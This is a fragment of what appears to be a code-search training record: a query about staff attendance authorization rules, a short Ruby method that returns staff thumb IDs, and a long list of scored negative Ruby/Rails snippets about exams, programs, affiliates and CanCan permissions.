"negatives"
]
]
}
}
|
[
"def academic_program\n ::HubEdos::StudentApi::V2::AcademicPolicy::AcademicProgram.new(@data['academicProgram']) if @data['academicProgram']\n end",
"def commonsubject_lecturer_programmeid_list\n unit = Login.current_login.staff.position.unit\n current_lecturer = Login.current_login.staff.id\n common_subjects = [\"Sains Perubatan Asas\", \"Anatomi & Fisiologi\", \"Sains Tingkahlaku\", \"Komunikasi & Sains Pengurusan\"]\n is_common_lecturer = Position.find(:all, :conditions=>['unit IN(?) and staff_id=?', common_subjects, current_lecturer])\n if is_common_lecturer.count>0\n return Programme.roots.map(&:id) #shall return this [1, 3, 4, 5, 14, 13, 2, 67, 12, 6, 7, 9, 11, 10, 185, 1697, 1707, 1709, 8]\n else\n return []\n end\n end",
"def get_quiz_id(assessment_division)\n if assessment_division.is_a?(Quiz)\n return assessment_division.id\n else\n return assessment_division.quiz_id\n end\n\n end",
"def set_exam\n\t\t\t@exam = Exam.find(params[:id])\n\t\t\tif @exam.user_id != current_user.id\n\t\t\t\tDevise::FailureApp\n\t\t\tend\n\t\tend",
"def education_user_id\n teacher.nil? ? student.external_id : teacher.external_id\n end",
"def set_admin_academy_question\n @admin_academy_question = Academy::Question.find(params[:id])\n end",
"def get_question\n if self.key.to_s =~ /(an_)([0-9])/\n q_id = QUESTION_MAP[\"qs_#{$+}\".to_sym][:id]\n q = ProfileQuestion.find_by_profile_id_and_question_id(self.profile_id, q_id)\n q.answer\n else\n nil\n end\n end",
"def transform_question_id(store)\n src_qn_id = assessment_answer.assessment_question.as_question_id\n dst_qn_id = store.get(AssessmentScribingQuestion.table_name, src_qn_id)\n ::Course::Assessment::Question.\n find_by(actable_id: dst_qn_id,\n actable_type: ::Course::Assessment::Question::Scribing.name).try(:id)\n end",
"def get_existing_exam(user_id, course_id, exam_id)\r\n get(Path::USERS_COURSES_EXAMS_WITH_ID % [user_id, course_id, exam_id])\r\n end",
"def guard_skill_id\r\n return 2\r\n end",
"def appt_questionnaires\n base_qm[:questionnaire].each_with_object({}) do |quest, acc|\n questionnaire_id = quest['id']\n acc[questionnaire_id] = quest\n end\n end",
"def set_program\n @program = ::Education::Program.find(params[:id])\n end",
"def set_examquestion\n @examquestion = Examquestion.includes(:question, qpaper: :university_course ).find(params[:id])\n end",
"def ab_assigned(experiment, identity)\n call_redis_with_failover do\n Vanity.playground.experiments[experiment].alternatives.each do |alternative|\n return alternative.id if @experiments.sismember \"#{experiment}:alts:#{alternative.id}:participants\", identity\n end\n nil\n end\n end",
"def appt_id\n @appt_id ||= base_qm.dig(:appointment, 'id')\n end",
"def enrollment_code_for(subject)\n Enrollment.find(:first, :conditions => {\n :user_id => self.id, :school_id => subject.school.id\n }).enrollment_code\n end",
"def set_education_program\n @education_program = EducationProgram.find(params[:id])\n end",
"def set_exam\n professional_list = Exam.where(user: @list).pluck(:id)\n user_list = Exam.where(user: current_user).pluck(:id)\n exams = Exam.where(id: [professional_list, user_list].flatten)\n if exams.blank?\n @exam = nil\n redirect_to root_url, notice: \"Registro não encontrado\"\n else\n @exam = Exam.find(params[:id])\n end\n end",
"def primary_school; end",
"def get_id(what, item)\n case what.keys[0]\n when :study\n /^study_(?<s_id>\\d+)_manage_link$/.match(item['id'])[:s_id]\n when :study_group\n /^study_group_(?<sg_id>\\d+)_manage_link$/.match(item['id'])[:sg_id]\n when :site\n raise \"don't know how to search for site id\"\n when :team\n raise \"don't know how to search for team id\"\n else\n nil\n end\n end",
"def get_tutor_question\n questions.find { |q| q.type == \"tutor_table\" }\n end",
"def authidcode\n\t\t \tparams['authIdCode']\n\t\t end",
"def set_program_of_study\n @program_of_study = ProgramOfStudy.find(params[:id])\n end",
"def andrew_id\n @andrew_id ||= @data[:cmuAndrewId].last\n end",
"def appointment_id(sip)\n sip.form_id.match(ID_MATCHER)[1]\n end",
"def check_affiliate_program\r\n\r\n # check the user first\r\n if session_user\r\n if session_user.affiliate_user\r\n # if the user is an affiliate user and the program is not active, don't set the members\r\n return if !session_user.affiliate_user.affiliate_program.active?\r\n # the user if an affiliate user and the program is still active\r\n @affiliate_program = session_user.affiliate_user.affiliate_program\r\n @affiliate = @affiliate_program.affiliate\r\n @affiliate_member_id = session_user.affiliate_user.affiliate_unique_id\r\n return\r\n else\r\n # the user is logged in but ther user isn't an affiliate user\r\n return\r\n end\r\n end\r\n\r\n # no session user...check the cookies only if there are no url parameters\r\n unless params[:affiliate]\r\n @affiliate_program ||= AffiliateProgram.find(cookies[:affiliate_program_id]) if !cookies[:affiliate_program_id].blank?\r\n @affiliate_program ||= AffiliateProgram.find_by_permalink(cookies[:affiliate_permalink]) if cookies[:affiliate_permalink]\r\n\r\n if @affiliate_program && !@affiliate_program.active?\r\n @affiliate_program = nil\r\n end\r\n\r\n @affiliate = @affiliate_program.affiliate if @affiliate_program\r\n @affiliate_member_id = cookies[:affiliate_unique_id] if cookies[:affiliate_unique_id]\r\n return\r\n end\r\n\r\n # there are params on the URL and the user is not logged in.\r\n @affiliate_program = AffiliateProgram.find_by_permalink(params[:affiliate])\r\n handle_no_affiliate and return unless @affiliate_program\r\n # if the affiliate program is not active, cast off the association with the affiliate.\r\n # TODO LTC - should this message the user that they are too late?\r\n if (@affiliate_program == nil) || !@affiliate_program.active?\r\n @affiliate_program = nil\r\n return\r\n end\r\n\r\n @affiliate = @affiliate_program.affiliate\r\n handle_no_affiliate and return unless @affiliate\r\n\r\n @affiliate_member_id = (@affiliate && @affiliate.member_id_var_name) ? params[@affiliate.member_id_var_name] : params[:aid]\r\n #handle_no_affiliate and return unless @affiliate_member_id\r\n\r\n cookies[:affiliate_id] = @affiliate_program.affiliate.id.to_s\r\n cookies[:affiliate_program_id] = @affiliate_program.id.to_s\r\n cookies[:affiliate_unique_id] = @affiliate_member_id.to_s if @affiliate_member_id\r\n end",
"def quiz?(quiz)\n (quiz.lti_uid && quiz.lti_uid == lti_uid) ||\n (quiz.author_id && quiz.author_id == id)\n end",
"def application_id\n get_key('ALGOLIA_APPLICATION_ID', 'application_id')\n end",
"def create_questionnaire\n\n @questionnaire = Object.const_get(params[:questionnaire][:type]).new(params[:questionnaire])\n\n if @questionnaire.type == \"QuizQuestionnaire\" #checking if it is a quiz questionnaire\n participant_id = params[:pid] #creating a local variable to send as parameter to submitted content if it is a quiz questionnaire\n @questionnaire.min_question_score = 0\n @questionnaire.max_question_score = 1\n\n @assignment = Assignment.find_by_id(params[:aid])\n if @assignment.team_assignment?\n teams = TeamsUser.find(:all, :conditions => [\"user_id = ?\", session[:user].id])\n for t in teams do\n if team = Team.find(:first, :conditions => [\"id = ? and parent_id = ?\", t.team_id, @assignment.id])\n break\n end\n end\n @questionnaire.instructor_id = team.id #for a team assignment, set the instructor id to the team_id\n else\n @questionnaire.instructor_id = participant_id #for an individual assignment, set the instructor id to the participant_id\n end\n save_questionnaire\n save_choices @questionnaire.id\n flash[:note] = \"Quiz was successfully created\"\n redirect_to :controller => 'submitted_content', :action => 'edit', :id => participant_id\n else\n if (session[:user]).role.name == \"Teaching Assistant\"\n @questionnaire.instructor_id = Ta.get_my_instructor((session[:user]).id)\n end\n save_questionnaire\n\n redirect_to :controller => 'tree_display', :action => 'list'\n end\n end",
"def get_assignment_id(assignment_name)\n frm.link(:text=>/#{Regexp.escape(assignment_name)}/).href =~ /(?<=\\/a\\/\\S{36}\\/).+(?=&pan)/\n return $~.to_s\n end",
"def user_answers_for(exam)\n exam_answer = self.custom_exam_answers.find_by(custom_exam: exam)\n exam_answer.user_answers if exam_answer\n end",
"def identifier_value\n DEFAULT_QUESTIONNAIRE_ID\n end",
"def answer_exam\n if params[:year_exam] \n questions ||= Question.where(year: params[:year_exam])\n assert(questions.kind_of?(Question))\n else\n questions ||= Question.all\n assert(questions.kind_of?(Question))\n end\n\n if !questions.empty?\n auxiliar_exam ||= push_questions_auxiliar(questions)\n @exam = push_questions(auxiliar_exam)\n else\n redirect_to_back(select_exam_path)\n if params[:year_exam]\n flash[:danger] = t(:year_exam_not_found)\n else\n flash[:danger] = t(:exam_not_found)\n end\n end\n end",
"def get_logged_in_reviewer_id(current_user_id)\n participants.each do |participant|\n return participant.id if participant.user.id == current_user_id\n end\n nil\n end",
"def auth_inst_id\n auth[:institution_id]\n end",
"def set_exam\n\t\t@exam = Exam.find(params[:id])\n\tend",
"def assign_application_id\n self.application_id = supported_permission.application_id if supported_permission.present?\n end",
"def assign_application_id\n self.application_id = supported_permission.application_id if supported_permission.present?\n end",
"def set_programme\n @programme = Programme.find(params[:id])\n end",
"def tea_id2school_id(tea_id)\n begin\n Rollcall::School.find_by_tea_id(tea_id).id\n rescue\n false\n end\n end",
"def set_exam_question\n @exam_question = ExamQuestion.find(params[:id])\n end",
"def set_programme\n @programme = Programme.find(params[:id])\n end",
"def exam_data(subject)\n Exam.result(subject.id, id)\n end",
"def find_or_create_preallowed_id\n # first lets see if such seubject already eixst to avoid dups\n preallowed_id = Client.find(CLIENT_ID).get(:subject_id_from_name, :subject_name => login)\n \n if preallowed_id != nil and preallowed_id != \"0\"\n return preallowed_id\n end\n \n #otherwise create a new one\n subject = Subject.create(:name => self.login)\n return subject.id\n end",
"def academic_plan\n ::HubEdos::StudentApi::V2::AcademicPolicy::AcademicPlan.new(@data['academicPlan']) if @data['academicPlan']\n end",
"def org_question_privacy(org)\n privacy = question_privacies.by_org(org)\n #privacy = privacy.by_course(course)\n privacy = privacy.first\n if privacy\n privacy.question_privacy\n else\n self.question_privacy\n end\n end",
"def set_exam\n\t\t\t@exam = Exam.includes(:questions).find(params[:id])\n\t\tend",
"def id\n @id ||= \"#{student.id}-#{lesson_part.id}\"\n end",
"def campus_solutions_id\n @net_ldap_entry[:berkeleyeducsid].first\n end",
"def find_question_by_id(question_id)\n question = Pairwise::Question.find question_id\n return question #if question.local_identifier == @local_identifier.to_s\n end",
"def getQuestionId(question_name)\n\tquery_params = {:question => question_name}\n\tquery_hash = {:where => query_params.to_json}\n\n\turi = URI(@QUESTION_URL)\n\turi.query = URI.encode_www_form(query_hash)\n\tputs uri.query\n\n\thttps = Net::HTTP.new(uri.host, uri.port)\n\thttps.use_ssl = true\n\n\theader = {\n\t\t'X-Parse-Application-Id' => @PARSE_APP_ID,\n \t\t'X-Parse-REST-API-Key' => @PARSE_REST_KEY\n\t}\n\n\trequest = Net::HTTP::Get.new(uri.path << \"?\" << uri.query, header)\n\n\tresponse = https.request(request)\n\n\tresponse_data = JSON.parse(response.body)\n\tresponse_data[\"results\"]\nend",
"def user_id; 1; end",
"def set_program\n @program = @current_site.programs.find(params[:id])\n end",
"def process_answers(user:, answers:)\n utorid = user.utorid\n\n answers = answers.to_hash.symbolize_keys\n\n # grab the applicant information\n applicant_attributes = answers\n rest =\n applicant_attributes.slice!(\n :email,\n :first_name,\n :last_name,\n :phone,\n :student_number\n )\n applicant_attributes[:utorid] = utorid\n # grab the application information\n application_attributes = rest\n rest =\n application_attributes.slice!(\n :comments,\n :department,\n :gpa,\n :previous_experience_summary,\n :previous_department_ta,\n :previous_university_ta,\n :program\n )\n # the year in progress is computed backwards from the date\n if rest[:program_start]\n # We compute the year in progress as follows:\n # (a) assume all programs start on Oct 1 (we choose October over Sept.,\n # because some peope will say their program started on e.g. Sept 14\n # rather than Sept 1; we need a date that is at least their start date)\n # (b) Find the number of years that have passed between (a) and the applicant's program_start\n # (c) Add 1 (since we don't talk about 0th year PhDs, etc.)\n # This algorithm needs to give the correct year of study even if applicants\n # fill out an application _before_ they officially advance a year. E.g., a student who\n # started in 2012 will be in their 3.5th year in the summer of 2015, but we want to call\n # them a 4th year (since they'll be a fourth year in the fall of 2015).\n\n start_of_fall = Date.today.beginning_of_year + 9.months\n if Date.today - Date.today.beginning_of_year < 4.months.in_days\n start_of_fall -= 1.year\n end\n\n application_attributes[:yip] =\n ((start_of_fall - Date.parse(rest[:program_start])) / 356)\n .floor + 1\n end\n application_attributes[:session] = @posting.session\n application_attributes[:posting] = @posting\n\n # Create the position preferences\n position_preferences_hash = rest[:position_preferences]\n if !(position_preferences_hash.is_a? Hash) &&\n !position_preferences_hash.nil?\n raise StandardError,\n \"Unknown format of position_preferences: '#{\n position_preferences_hash\n }'\"\n end\n rest.except!(:position_preferences)\n # Find the position_id and position_code of all items listed\n # in `position_preferences`. However, take special care to limit\n # to only positions that are actually associated with this posting\n # through a PostingPosition\n valid_position_codes = []\n position_preferences_attributes =\n if position_preferences_hash\n PostingPosition.joins(:position).where(\n position: { position_code: position_preferences_hash.keys },\n posting: @posting\n ).pluck('position.id', 'position.position_code')\n .map do |(position_id, position_code)|\n # We need to keep track of the valid position codes so that we can error if a\n # user has submitted an invalid code\n valid_position_codes.push position_code\n {\n position_id: position_id,\n preference_level:\n position_preferences_hash[position_code],\n # These are needed so we can use the upsert method\n created_at: DateTime.now,\n updated_at: DateTime.now\n }\n end\n else\n []\n end\n\n # `valid_position_codes` now contains\n # a list of all position pereferences that were submitted and are valid for\n # this posting. We want to error if we received any position preferences\n # that weren't valid for this posting.\n invalid_position_preferences =\n position_preferences_hash.keys - valid_position_codes\n unless invalid_position_preferences.empty?\n raise StandardError,\n \"Cannot set preferences for the following positions: '#{\n invalid_position_preferences\n }'\"\n end\n\n # Extract all the file upload questions\n @file_upload_answers = rest\n rest = @file_upload_answers.slice!(*file_upload_questions.map(&:to_sym))\n\n # Find if there's an existing applicant and associated application.\n @applicant = Applicant.find_or_initialize_by(utorid: utorid)\n application = @applicant.applications.find_by(posting: @posting)\n application_attributes[:id] = application.id if application\n\n # Everything left at this point is the answer to a custom question\n application_attributes[:custom_question_answers] = rest\n\n @applicant.attributes =\n applicant_attributes.merge(\n applications_attributes: [application_attributes]\n )\n @position_preferences_attributes = position_preferences_attributes\n end",
"def participant_id\n case claimant_class_name\n when VeteranClaimant.name\n veteran.participant_id\n when OtherClaimant.name\n \"\"\n when HealthcareProviderClaimant.name\n \"\"\n else\n request_params[:claimant]\n end\n end",
"def get_meeting_program_name\n meeting_program ? meeting_program.get_meeting_program_name : '?'\n end",
"def show\n\n\t\t@resource =\tUser.find_by_authentication_token(params[:auth_token])\n\t\treturn invalid_user unless @resource\n\t\t@exam = Exam.find(params[:id])\n\n\t\treturn cannot_find_exam unless @exam\n\t\t\t\n\t\t# end\n\tend",
"def set_algorithm\n @algorithm = current_user.algorithms.find(params[:algorithm_id])\n end",
"def faculty\n deanship.faculty\n end",
"def set_exam\n @exam = @student.exams.find(params[:id])\n end",
"def parse_id(fhir_formulary)\n\t\treturn fhir_formulary.id\n\tend",
"def context_key(appt)\n \"#{appt.facility_id}/#{appt.clinic_id}\"\n end",
"def survey_identifier\n @form || @instrument\n end",
"def set_exam\n @exam = Exam.find(params[:id])\n end",
"def set_cohort_program\n @cohort_program = CohortProgram.find(params[:id])\n end",
"def programmes\n Programme.where(id: programme_id)\n end",
"def programmes\n Programme.where(id: programme_id)\n end",
"def app_id; end",
"def app_id; end",
"def academic_year\n academic_year = case quarter_code_id\n when 1\n \"#{year-1}-#{year}\"\n when 2\n \"#{year-1}-#{year}\"\n when 3\n \"#{year}-#{year+1}\"\n when 4\n \"#{year}-#{year+1}\"\n end\n academic_year\n end",
"def set_exam\n @exam = Exam.find(params[:id])\n end",
"def set_exam\n @exam = Exam.find(params[:id])\n end",
"def set_exam\n @exam = Exam.find(params[:id])\n end",
"def set_exam\n @exam = Exam.find(params[:id])\n end",
"def set_exam\n @exam = Exam.find(params[:id])\n end",
"def set_exam\n @exam = Exam.find(params[:id])\n end",
"def set_exam\n @exam = Exam.find(params[:id])\n end",
"def set_exam\n @exam = Exam.find(params[:id])\n end",
"def set_exam\n @exam = Exam.find(params[:id])\n end",
"def set_exam\n @exam = Exam.find(params[:id])\n end",
"def survey_id\n generate_survey_id unless new_record?\n end",
"def set_random_exam\n @random_exam = RandomExam.find(params[:id])\n end",
"def new_quiz\n valid_request=true\n @assignment_id = params[:aid] #creating an instance variable to hold the assignment id\n @participant_id = params[:pid] #creating an instance variable to hold the participant id\n assignment = Assignment.find(@assignment_id)\n if !assignment.require_quiz? #flash error if this assignment does not require quiz\n flash[:error] = \"This assignment does not support quizzing feature.\"\n valid_request=false\n else\n team = AssignmentParticipant.find(@participant_id).team\n if team.nil? #flash error if this current participant does not have a team\n flash[:error] = \"You should create or join a team first.\"\n valid_request=false\n else\n if assignment.has_topics? && team.topic.nil?#flash error if this assignment has topic but current team does not have a topic\n flash[:error] = \"Your team should have a topic first.\"\n valid_request=false\n end\n end\n end\n\n if valid_request\n @questionnaire = Object.const_get(params[:model]).new\n @questionnaire.private = params[:private]\n @questionnaire.min_question_score = 0\n @questionnaire.max_question_score = 1\n render :new_quiz\n else\n redirect_to controller: 'submitted_content', action: 'view', id: params[:pid]\n end\n end",
"def academic_career\n ::HubEdos::Common::Reference::Descriptor.new(@data['academicCareer']) if @data['academicCareer']\n end",
"def academic_career\n ::HubEdos::Common::Reference::Descriptor.new(@data['academicCareer']) if @data['academicCareer']\n end",
"def answer_id answer\n answer.id || \"V#{answer.answer.id}\"\n end",
"def populate_assessment_info(attempt, viewer=nil)\n\n display_if_requested(attempt.images.first[:path], viewer)\n\n #establish the format in which the user should enter the identifier \n #TODO: abstract?\n identifier_format = /^([0-9]+)-([0-9]+)-([0-9]+)$/\n\n #prompt the user for the question's identifier\n identifier = ask (\"\\nCouldn't figure out the Attempt ID for '#{attempt.images.first[:path]}'. Enter the attempt ID displayed below the question barcode> \") { |i| i.validate = identifier_format }\n\n #once we have a valid identifier, parse it, and extract the user's information\n identifier = identifier.match(identifier_format)\n \n #and use it to fill in the missing fields from the QA\n attempt.copy_id, attempt.question_id, attempt.attempt_id = identifier[1], identifier[2], identifier[3]\n\nend",
"def student_id\r\n\t\t\treturn 51875531\r\n\t\tend",
"def set_exam\r\n @exam = Exam.find(params[:id])\r\n end",
"def select_exam\n end",
"def identifier_code\n 'QuestionnaireResponseID'\n end",
"def questions_author\n self.question.poll.author.id\n end",
"def set_program_role\n @program_role = ProgramRole.find(params[:id])\n end",
"def set_program_calification\n @program_calification = ProgramCalification.find(params[:id])\n end",
"def general_application_questions\n GENERAL_APPLICATION_QUESTIONS.reduce([]) do |arr, app_question|\n db_attr, prompt = app_question\n if self.send(\"app_ques_#{db_attr}\".to_sym)\n arr << { prompt: prompt + ':' }\n end\n arr\n end\n end",
"def show_courses_instructing\n if is_professor?\n Course.where(user_id: self).order(:course_id)\n end\n end",
"def jurisdiction\n if Survey::MIGRATIONS.has_key? survey.access_code\n target_access_code = Survey::MIGRATIONS[survey.access_code]\n Survey.where(access_code: target_access_code).first.try(:title)\n else\n survey.title\n end\n end",
"def authored_questions\n Question.find_by_author_id(@id)\n end",
"def p_id(controller, action)\r\n Permission.find_by_controller_and_action(controller.to_s,action.to_s).id\r\nend",
"def set_programme_session\n @programme_session = ProgrammeSession.find(params[:id])\n end"
] |
[
"0.6532166",
"0.6142319",
"0.59872055",
"0.56526065",
"0.56071657",
"0.55580777",
"0.5554242",
"0.5437931",
"0.5424791",
"0.54119337",
"0.5396182",
"0.5383893",
"0.53590107",
"0.53560513",
"0.5354479",
"0.5353185",
"0.5343918",
"0.53414756",
"0.5298971",
"0.5289248",
"0.5278997",
"0.5277869",
"0.52637696",
"0.5257124",
"0.52476364",
"0.5245893",
"0.52417",
"0.5237427",
"0.52319753",
"0.52303874",
"0.52144164",
"0.51754063",
"0.51702106",
"0.5162369",
"0.51613975",
"0.5154445",
"0.5143739",
"0.5143739",
"0.51389706",
"0.5137252",
"0.51368654",
"0.51351434",
"0.5122596",
"0.5116626",
"0.5113266",
"0.5099842",
"0.509689",
"0.50958455",
"0.5093366",
"0.50918674",
"0.5088302",
"0.5088295",
"0.50819",
"0.50762445",
"0.50732327",
"0.5068476",
"0.50664747",
"0.5065815",
"0.5035481",
"0.50350183",
"0.5029322",
"0.5024683",
"0.50211626",
"0.5017967",
"0.50171334",
"0.50164324",
"0.50164324",
"0.501284",
"0.501284",
"0.50123984",
"0.5008887",
"0.50080466",
"0.50080466",
"0.50080466",
"0.50080466",
"0.50080466",
"0.50080466",
"0.50080466",
"0.50080466",
"0.50080466",
"0.50066644",
"0.49991867",
"0.4999018",
"0.49962196",
"0.49962196",
"0.49951226",
"0.49950847",
"0.4992834",
"0.49926522",
"0.4992247",
"0.49922442",
"0.49913952",
"0.4986078",
"0.49754006",
"0.4975138",
"0.49735665",
"0.49718034",
"0.497014",
"0.49696165",
"0.49692142"
] |
0.66381055
|
0
|
use in auth_rules(staff attendance)
|
def unit_members_thumb
Staff.find(:all, :conditions=> ['id IN?', unit_members]).map(&:thumb_id).compact #[5658]
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def authenticate_staff_activity\n if not (current_user.role?(\"staff\") || current_user.role?(\"admin\"))\n flash[:notice] = \"对不起,您没有权限访问该网址!\"\n redirect_to root_url\n end\nend",
"def require_staff\n if current_staff.class != Staff\n flash[:notice] = '很抱歉,您没有权限'\n redirect_to root_path\n end\n end",
"def set_staff\r\n @staff = Staff.find(params[:id])\r\n\r\n # In this situation where staff can only access their profile unless admin\r\n # The record must be given, that is: @staff\r\n authorize(@staff)\r\n end",
"def any_logged_in(user)\n can :export_calendar, User do |user_check|\n user.id == user_check.id || can?(:act_on_behalf_of, user_check)\n end\n\n # only matters if read in any_one() is false (ie. user_check is junior)\n can :read, User do |user_check| \n user.id == user_check.id || can?(:act_on_behalf_of, user_check) || user.friends.include?(user_check) || admin_of_users_league?(user, user_check)\n end\n\n # contact details and shit\n can :read_private_details, User do |user_check|\n user.id == user_check.id || can?(:act_on_behalf_of, user_check) || admin_of_users_team?(user, user_check) || admin_of_users_league?(user, user_check)\n end\n\n # ie parent\n can :act_on_behalf_of, User do |user_check|\n user_check.junior? && user_check.parent_ids.include?(user.id)\n end\n\n # TEAM\n can :read, Team do |team|\n team.has_member?(user) || team.primary_league.has_organiser?(user) || can?(:manage_teams, team.tenant)\n end\n\n # currently only used for mobile app, prob should use on web too. TS\n can :read_private_details, Team do |team|\n team.has_member?(user) || (!team.primary_league.nil? && team.primary_league.has_organiser?(user))\n end\n\n can :export_calendar, Team do |team|\n team.has_member?(user)\n end\n\n # Not sure these should be here... Can be inferred from other info (eg. are they in the team)\n # also, they're more about whether it is feasible, rather than whether they're allowed\n # Plus, this is checking the team, and the setting belong to the user. We should just be\n # looking for the settings (if has perms to edit user), and raise invalid id not there. TS\n can :read_notification_settings, Team do |team|\n team.has_associate?(user)\n end\n can :update_notification_settings, Team do |team|\n team.has_associate?(user) \n end\n\n # EVENT\n # only matters is read in any_one gives false\n can :read, Event do |event|\n # organiser, player, player parent, or team organiser\n event.user_id == user.id || event.is_invited?(user) || user.child_invited_to?(event) || can?(:manage, event.team)\n end\n\n can :read_messages, Event do |event|\n # organiser, player, player parent, or team organiser\n event.user_id == user.id || event.is_invited?(user) || user.child_invited_to?(event) || can?(:manage, event.team)\n end\n\n # TODO: remove in favour of :read_private_details\n can :read_all_details, Event do |event|\n can? :read_private_details, Event\n end\n\n # TODO: remove in favour of :read_private_details\n can :view_private_details, Event do |event|\n can? :read_private_details, Event\n end\n\n can :read_private_details, Event do |event|\n # organiser, player, player parent, or team organiser\n event.user_id == user.id || event.is_invited?(user) || user.child_invited_to?(event) || can?(:manage, event.team)\n end\n\n # SR: Added to mimic\n can :view_private_details, DivisionSeason do |division|\n division.league.has_organiser?(user)\n end\n\n # SR: Added to mimic\n can :read_private_details, DivisionSeason do |division|\n division.league.has_organiser?(user)\n end\n\n # DEPRECATED: this is only used for view code, not actual authorisation, so should be removed from here. TS.\n can :respond_to_invite, Event do |event|\n event.teamsheet_entries.map{|tse| tse.user_id}.include?(user.id) && event.user_id != user.id\n end\n\n can :respond, TeamsheetEntry do |tse|\n # player, event organiser (legacy), parent, or team organiser\n #tse.event.team.has_associate?(user) &&\n (user.id == tse.user_id || tse.event.user_id == user.id || can?(:act_on_behalf_of, tse.user) || can?(:manage, tse.event.team))\n end\n\n can :check_in, TeamsheetEntry do |tse|\n can? :manage_roster, tse.event.team\n end\n\n # ACTIVITY ITEMS\n can :view, ActivityItem\n\n can :create_message_via_email, Event do |event|\n # organiser, or registered player\n # TODO: generalise this set of perms (and refactor to check user has role on team)\n event.user_id == user.id || event.is_invited?(user) || user.child_invited_to?(event) || can?(:manage, event.team)\n end\n\n # ACTIVITY ITEM COMMENTS AND LIKES\n can :comment_via_email, EventMessage do |message| \n # if this implementation changes then a test is required\n if message.messageable.is_a? Team \n message.messageable.has_active_member?(user)\n elsif message.messageable.is_a? Event\n can? :create_message_via_email, message.messageable\n end \n end\n\n can :comment_via_email, EventResult do |event_result|\n # if this implementation changes then a test is required\n can? :create_message_via_email, event_result.event \n end\n\n can :comment_via_email, User\n can :comment_via_email, Event \n can :comment_via_email, TeamsheetEntry \n can :comment_via_email, InviteResponse\n can :comment_via_email, InviteReminder\n end",
"def check_valid_autherization \n\t\tredirect_to profile_users_path and return if current_user.has_role?('customer')\n\t\tredirect_to staffs_profile_users_path and return if current_user.has_role?('staff')\n\t\t \n\tend",
"def accessible_staff\n return User.any_role if admin?\n return fellow_staff if staff?\n return User.none\n end",
"def password\n if @useredit=User.find_by_wedgetail(params[:wedgetail],:order=>\"created_at DESC\")\n # @useredit is the patient, if these is one\n authorize_only (:patient) {@useredit.wedgetail == @user.wedgetail} # everyone can only edit themselves\n authorize_only (:user) {@useredit.wedgetail == @user.wedgetail}\n authorize_only (:leader) {@useredit.wedgetail == @user.wedgetail}\n authorize :admin # apart from admin\n else\n if(@user.role==5)\n flash[:notice]=\"You do not have authority to access that page\"\n redirect_to(patient_path(@user.wedgetail))\n else\n flash[:notice]=\"User not found\"\n redirect_to :controller => 'patients',:action =>'index'\n end\n end\n if @useredit.role==5\n @useredit.access=1 if @useredit.access==nil or @useredit.access==\"0\"\n @currentlist=User.find(:all,:conditions=>[\"firewalls.patient_wedgetail='#{@useredit.wedgetail}'\"],:joins=>\"inner join firewalls on users.wedgetail=firewalls.user_wedgetail\")\n else\n @currentlist=[]\n end\n @listname=\"Access List\"\n @access_name=\"me\"\n if (@user.role!=5)\n @access_name=\"patient themselves\"\n end\n end",
"def fellow_staff\n User.any_staff_admin_for_agencies(agencies)\n end",
"def initialize(user)\n \n ### TRAVELER PERMISSIONS ###\n \n # Registered Traveler Permissions\n if user.traveler?\n cannot :manage, :all # Can't do anything in the admin pages\n end\n \n # Guest Traveler Permissions\n if user.guest?\n cannot :manage, :all # Can't do anything in the admin pages\n end\n \n \n ### STAFF PERMISSIONS ###\n if user.staff?\n # If a staff user has no agency, then they can only update themselves\n if user.staff_agency.nil?\n cannot :manage, :all\n can :update, User, id: user.id\n return\n end\n\n ## General Staff Permissions ##\n can [:read, :show], Agency, # Can read or update their own agency\n id: user.staff_agency.try(:id)\n # NOTE: :staff and :travelers are specified due to how cancan? plugs into Rails Controller actions and authorizes users\n can [:read,:staff,:travelers], User, # Can read users that are staff for the same agency and travelers for that agency\n id: user.accessible_staff.pluck(:id)\n can :read, Service, # Can read services under that user and services with no agency\n id: user.services.pluck(:id).concat(Service.no_agency.pluck(:id))\n can [:read, :edit], Alert # Can manage alerts\n can [:read,:edit], Eligibility\n can [:read,:edit], Accommodation\n #can [:read, :edit], FundingSource\n # agency_id: user.staff_agency.try(:id)\n can [:read,:edit], Purpose\n can :read, GeographyRecord\n can [:read, :edit], Landmark\n can [:read], LandmarkSet\n\n ## TransportationAgency Staff Permissions ##\n if user.transportation_staff?\n can [:read,:staff,:travelers], User, # Can read users that are staff for the same agency and travelers for that agency\n id: user.accessible_staff.pluck(:id).concat(user.travelers_for_staff_agency.pluck(:id))\n can [:read, :update], Feedback, # Can read/update feedbacks related to their agency's services\n id: Feedback.about(user.services).pluck(:id)\n can :create, User\n end\n \n ## PartnerAgency Staff Permissions ##\n if user.partner_staff?\n can [:read, :update], Feedback # Can read/update ALL feedbacks\n can :read, :report # Can view all reports\n end\n\n ## OversightAgency Staff Permissions ##\n if user.oversight_staff?\n\n # Can read users that are staff for the same agency and travelers for that agency\n can [:edit,:staff,:travelers], User,\n id: user.accessible_staff.pluck(:id).concat(user.travelers_for_current_agency.pluck(:id))\n\n # Can show own oversight agency and overseen transportation agencies\n can :show, Agency,\n id: user.staff_agency.agency_oversight_agency.map{|aoa| aoa.transportation_agency.id}.concat([user.staff_agency.id])\n can [:read, :update], Feedback # Can read/update ALL feedbacks\n\n #can [:show], FundingSource,\n # agency_id: user.staff_agency.agency_oversight_agency.map{|aoa| aoa.transportation_agency.id}.concat([user.staff_agency.id])\n\n # Can access services associated with own oversight agency, and those with no oversight agency(i.e taxi services)\n can :read, Service,\n id: user.get_services_for_oversight.pluck(:id).concat(Service.no_agencies_assigned.pluck(:id))\n can :change_agency, User,\n id: user.id\n end\n # staff users can update themselves\n can :update, User,\n id: user.id\n end # staff\n \n ### ADMIN PERMISSIONS ###\n if user.admin?\n if user.staff_agency.nil?\n cannot :manage, :all\n can :update, User, id: user.id\n return\n end\n\n # General affiliated admin permissions\n can :manage, CustomGeography\n can :manage, Eligibility\n can :manage, Accommodation\n #can :manage, Purpose\n can :manage, Feedback\n can :manage, Landmark\n can [:show, :update], Agency, # Can read or update their own agency\n id: user.staff_agency.try(:id)\n #can [:show, :update], FundingSource,\n # agency_id: user.staff_agency.try(:id)\n\n # Can manage users that are staff for the same agency or unaffiliated staff and travelers for that agency\n can :manage, User,\n id: user.accessible_staff.pluck(:id).concat(user.get_travelers_for_staff_user&.pluck(:id) || [])\n\n # Can CRUD services with no agency\n can :manage, Service,\n id: Service.no_agency.pluck(:id)\n can :create, Service # Can create new services\n can :manage, Alert\n can :read, :report # Can view all reports\n # Mapping related permissions\n can :manage, GeographyRecord # Can create Geography 